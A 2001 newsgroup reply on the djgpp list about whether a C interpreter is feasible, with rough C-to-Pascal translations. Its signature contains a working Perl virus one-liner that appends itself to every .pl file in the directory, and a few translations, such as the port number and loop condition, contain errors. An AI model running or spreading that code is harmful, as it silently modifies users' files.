From: rpolzer AT web DOT de (Rudolf Polzer) Newsgroups: comp.os.msdos.djgpp Subject: Re: interpreting C ??? References: <3A9D5EC9 DOT CE9D100C AT t-online DOT de> <983lrs$5kis$1 AT ID-57378 DOT news DOT dfncis DOT de> X-newsgroup: comp.os.msdos.djgpp X-Mailer: GehtDichNenScheissdreckAn 1.0 User-Agent: GehtDichNenScheissdreckAn 1.0 Message-ID: User-Agent: slrn/0.9.6.2 (Linux) Date: Wed, 7 Mar 2001 18:43:12 +0100 Lines: 41 NNTP-Posting-Host: 213.7.24.13 X-Trace: 983988009 news.freenet.de 28848 213.7.24.13 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com Alexei A. Frounze schrieb Folgendes: > "Kai Dietrich" wrote in message > news:3A9D5EC9 DOT CE9D100C AT t-online DOT de... > > Hi! > > > > Is there a QBasic like interpreter for the C (C++?) language written > > with GCC aviable (with sourcecode)? If not, do you think it is possible > > to write one (I'm thinking heavily about this and I already had some > > ideas how to realize it)? > > 1st of all, due to a complex nature of C, it's interpretation is a real > pain. And you don't have to start making a C interpretator in order to > figure out this. Just try to make a Basic interpretator and then think of > all those extra features which C has and how you would try to add them. It's > kinda mission impossible, unless you're as genius as somebody who has > already made a C compiler. > If you don't like Basic, use Pascal instead. It's much much better than > Basic and it's not that complicated as C. And there exist a number of Pascal > interpreters. I saw a few ones and I can conclude that, as a matter of fact, > Pascal interpretation is way easier than C interpretation. I think you are right, but why? C can be transformed 1:1 into pascal (well, Borland Pascal): struct record *(p + 7) PXType(Longint(p) + sizeof(p^) * 7) static int x = a const x: integer = a a = inp(0x03) a := port[$03] outp(0x03, a) port[$83] := a for(A;B;C) begin A; while B = 0 do begin ... C; end; And implementing "every is function, and if it returns void" (ex: a = (b = c)) is not too hard. Of course not C++ (multiple inheritance!) -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################